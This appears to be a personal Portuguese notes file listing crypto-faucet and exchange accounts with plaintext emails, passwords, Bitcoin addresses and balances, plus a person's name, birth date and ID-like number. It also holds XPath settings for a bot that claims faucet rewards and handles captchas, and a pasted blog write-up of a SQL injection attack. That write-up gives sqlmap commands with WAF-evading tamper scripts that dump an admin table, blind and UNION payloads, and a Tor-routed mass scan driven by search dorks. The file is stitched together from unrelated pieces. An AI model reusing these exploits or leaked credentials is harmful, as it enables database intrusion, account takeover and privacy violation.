PICE - PROGRAMA DE INCENTIVO AO COMERCIO ELETRONICO

===================================================================================
==============================================================================
CONTAS
===================================================================================
==============================================================================

https://github.com/DuVale
[email protected]
871092319asv

===================================================================================
==============================================================================
http://epay.info [EPAY]
[email protected] fred2015 fred2015x
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
[ ATUALIZADO ]
http://epay.info/dashboard/1PzPMERfJKFrKq3YgYSumi1J5wxiHmSiq5/
[ ******* ]
https://www.facebook.com/bitrushco

[FAUCETBOX]
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
[ ATUALIZADO ]
https://faucetbox.com/en/check/1PzPMERfJKFrKq3YgYSumi1J5wxiHmSiq5 [ *******
] * REF = 19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA

[POLONIEX]
CASH: EST. VALUE: $0.19 USD / 0.00042381 BTC
http://poloniex.com/login
[email protected] fred2015x [YAHOO]
[email protected] fred2015x [POLONIEX]

===================================================================================
==============================================================================

===================================================================================
==============================================================================
http://epay.info [EPAY]
h3l5rj@gmail agemdi 871092319asv
http://epay.info/Dashboard/1GNw7oBYNcv5UDMYmMR7wZzxGyBGxW3jvC/
[ ATUALIZADO ]
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
[ ******* ]

[FAUCETBOX]
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
[ ATUALIZADO ]
https://faucetbox.com/en/check/1GNw7oBYNcv5UDMYmMR7wZzxGyBGxW3jvC
[ ******* ]

[POLONIEX]
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
http://poloniex.com/login
 [email protected] copa2015 [POLONIEX]

[COINBASE]
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
https://www.coinbase.com/accounts/primary copa2015
18a3JYehJtwE7CM6Rdj56CcqtTLnvWEGxu

===================================================================================
==============================================================================
===================================================================================
==============================================================================
[EPAY]
fabianagmas praia2380
CASH: EST. VALUE: $0.00 USD / 0.00002400 BTC
[ ATUALIZADO ]
http://epay.info/Login/19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA/
[ ******* ]

[FAUCETBOX]
CASH: EST. VALUE: $0.00 USD / 0.00025600 BTC
[ ATUALIZADO ]
https://faucetbox.com/en/check/19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA
[ ******* ]

[PAYTOSHI]
CASH: EST. VALUE: $0.00 USD / 0.00005800 BTC
[ ATUALIZADO ]
https://paytoshi.org/19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA/balance [ ******* ]

[POLONIEX]
CASH: EST. VALUE: $0.32 USD / 0.00071101 BTC
http://poloniex.com/login *******
[email protected] praia2380 [YAHOO]
[email protected] praia2380 [POLONIEX]
===================================================================================
==============================================================================

===================================================================================
==============================================================================
http://poloniex.com/login [POLONIEX]
[email protected] 871092319asv

[FAUCETBOX]
CASH: EST. VALUE: $0.00 USD / 0.00008215 BTC
[ ATUALIZADO ]
https://faucetbox.com/en/check/13XJ5L8LaNQZpNqrwwz5yFJuchHbgh8KxS/
[ ******* ]

[EPAY]
CASH: EST. VALUE: $3.58 USD / 0.00848073 BTC
[email protected] 871092319asv
http://epay.info/dashboard/13XJ5L8LaNQZpNqrwwz5yFJuchHbgh8KxS/

===================================================================================
==============================================================================

===================================================================================
==============================================================================
 http://poloniex.com/login [POLONIEX]
[email protected] copa2015
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC

[FAUCETBOX]
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
[ ATUALIZADO ]
https://faucetbox.com/en/check/1FUEvRipeUxgwVbTfcWe2xcAvxZAfuA2nG
[ ******* ]

[EPAY]
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
fabianamessias fabianamessias praia2380
http://epay.info/Dashboard/1FUEvRipeUxgwVbTfcWe2xcAvxZAfuA2nG/
===================================================================================
==============================================================================

===================================================================================
==============================================================================
http://bit-x.com/login [BIT-X]
CASH: EST. VALUE: $0.00 USD / 0.00010757 BTC
[ ATUALIZADO ]
[email protected] 871092319asv

3JBrJkovNn5kD1f3162TAUzGU7XGjLhhrQ [BTC]
36bWs6V5C6DuWmbGrSyjiLqEVziKWDLaRR [LTC]

===================================================================================
==============================================================================
===================================================================================
==============================================================================
[email protected] 098sodeussalva
1GtKRMU9pUJMv1NJXhi5auqtmHmqV53Urw [SEM CADASTRO] OBS: ESTA APARECENDO
ZERADA
===================================================================================
==============================================================================
http://lazersms.com/
https://bitmedia.io/

[ITK]-INSTANCIA TASK
[STK]-SLOT TASK
[CTK]-CICLE TASK
[STK]-SET TASK
[TIT]-TIME INTERVAL TASK

SETCMD UNIVERSAL
19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA
//*[@name='username']
(//*[@class='form-control'])[2]
off
//*[@id='adcopy-puzzle-image-image']
adcopy_response
//*[text()="Get a reward!"]
MANUAL-JS
off-on-nopass
off
off
off-iwallet-itp-paytoshi
 30
ID-IDCLASS
//*[text()="Get a reward!"]
//*[@class='btn btn-success']
reserv

SETCMD iopen
19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA
(//*[@class='form-control'])[1]
off
off
off
off
MANUAL
off
off
off
iopen
30
ID
//*[text()="Get a reward!"]
//*[@class='btn btn-success']
reserv

SETCMD itpnc
19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA
(//*[@class='form-control'])[1]
off
off
off
//*[text()="Claim Now"]
MANUAL
off
off
I Am Not Robot
itpnc
30
ID
//*[text()="Get a reward!"]
reserv

sudo add-apt-repository "deb http://archive.canonical.com/ $(lsb_release -sc)

partner"

http://berlinfaucet.com

<button id="reward_id" class="form-control input-lg btn-info get-reward">Get a

reward!</button>

<input value="ac8ab59ef42afca5779666d304494af0" id="fidip" name="fidip"

type="hidden">
<input value="ac8ab59ef42afca5779666d304494af0" id="fidip" name="fidip"
type="hidden">
<input name="pHf8WBro" value="" class="form-control" type="text">
 <input id="rewardbutton" class="btn btn-primary btn-lg" value="Get reward!"
type="submit">

andré luis menezes

489102MM
09-07-1976

https://mellowads.com/
https://cloudhours.net/?a=home *****

http://www.2options.com/open-account/

--tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2

--random-agent --no-cast

./sqlmap.py -u "http://www.target.com/vul.php?id=1" -v 3 - dbms "MySQL" - U-p id

technique - batch - tamper "space2morehash.py"

Hi.

As Iago said, you'll need to play with tamper scripts.

I would recommend for that case of yours:

--tamper=versionedkeywords
or
--tamper=versionedmorekeywords
or
--tamper=halfversionedmorekeywords

Kind regards,
Miroslav Stampar

On Mon, Jul 2, 2012 at 11:29 PM, Iago Sousa <146050u54@...> wrote:

> Use --tamper=tamper/space2comment.py

http://mellowads.com/click/F1073EA07F4E/318287113

+ ] PoC: Payload(s):
https://www.[SITE].com/anyinfectedfile.php?id=(ID)+XPL

[ + ] SQLMAP Payload(s):
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: id=34' AND 4678=4678#

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: id=34' AND (SELECT * FROM (SELECT(SLEEP(5)))mQsU)#

Type: UNION query

Title: MySQL UNION query (NULL) - 9 columns
Payload: id=-4358' UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x717a766a71,0x674c4e4756745179796a,0x7178767871),NULL,N
ULL,NULL,NULL#

[ + ] COMMAND(s) SQLMAP:
sqlmap -u http://www.site.com/filevuln.php?id=(ID)--dbs --tamper
modsecurityzeroversioned.py --level 3 --risk 2 --random-agent --no-cast

sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper

modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent
--no-cast

sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin

--tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2
--random-agent --no-cast

- OUTPUT PRINT SQLMAP:

[+] EXPLORING WITH MASS INURLBR:

php inurlbr.php --dork 'intext:"Web India Solutions" & inurl:"php?id="' -s sqli.txt
-q 1,6 --exploit-get "?&id=1%270x27" --command-vul "sqlmap.py -u '_TARGETFULL_' -p
id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-
type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch --tamper
modsecurityzeroversioned.py"

- OUTPUT PRINT INURLBR:

[+] DOWNLOAD SCANNER:

https://github.com/googleinurl/SCANNER-INURLBR
[ + ] REF FONTE:
http://www.vulnerability-lab.com/get_content.php?id=1495
By: INURL Brasil às quarta-feira, maio 13, 2015
Enviar por e-mail
BlogThis!
Compartilhar no Twitter
Compartilhar no Facebook
Compartilhar com o Pinterest

Marcadores: cms, dork, sql injection, sqlmap, Web India Solutions CMS

INURL Brasil
Pesquisa Avançada, Aplicada através de dorks("Conjunto de operadores de
pesquisa."), Captura de informações sensíveis,falhas em servidores. Grupo voltado a
filtros avançados com motores de busca & Pesquisa de segurança.

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/how-to-
start.html&usg=ALkJrhigsVkhPAsWos6RE1EyZtLCRNkhZA

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/why-mobile-
payments.html&usg=ALkJrhhodxOZhak5AXhLn57aMYl7_MncVw

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/ycoins.html&usg=ALkJrhinGJPylvJI507Q6G-pKlauX1y7cQ

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/downloads.html&usg=ALkJrhjFIuDaltRNzPqN_CATynSDskeuJw

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/sign-up.html&usg=ALkJrhi0fLQq1HgjTGgsy62dHKtXzVKzaw

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/contact.html&usg=ALkJrhhDx7mqaorPG6wSjD3PhgPeSjUzog

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/offices.html&usg=ALkJrhgaH0Js6xg-h_AdAf3xs6EdXomTug

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/unified-payment-api.html&usg=ALkJrhhBy6HUcReS3-
1BFGZkluiL3j1WQQ

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/partner-
panel.html&usg=ALkJrhjsUEE0Zd7zx7UEKEqBrwlCay3JWA

https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/payment-widget.html&usg=ALkJrhgwsLXgs-
3ohPFjau1qkUkGWKB6qA

#<button class="form-control input-lg btn-success">Get your coins!</button>

https://shapeshift.io/new.html?gclid=CPHZrOSI3MgCFQ8EkQodEXALZA
https://www.snapcard.io/buy-bitcoin
http://www.bitcoinnews.com.br/bitcoinbrasil/como-comprar-bitcoin-com-cartao-de-
credito-ou-paypal/
https://geniecashbox.com/8003718730/index.php?screen=pay'
https://www.instaforex.com/pt/bitcoin_trading.php?gclid=cmldseki3mgcfrmgkqod3_clkg
https://www.instaforex.com/nodeposit_bonus.php
https://www.instaforex.com/pt/segregate_accounts.php
https://www.instaforex.com/pt/forex_vps.php
https://www.amazon.com/gp/css/homepage.html/ref=nav_youraccount_ya
http://www.swagbucks.com/p/prize/2988/5-Amazon-com-Gift-Card
https://bitcointalk.org/index.php?topic=1095351.0

GOOGLE MAPS

https://www.google.com/maps/d/viewer?ll=-22.810681%2C-
43.417625&spn=0.031069%2C0.036908&t=m&msa=0&source=embed&ie=UTF8&mid=zJZsC_l_EGgQ.k
tBk64NAmr2Q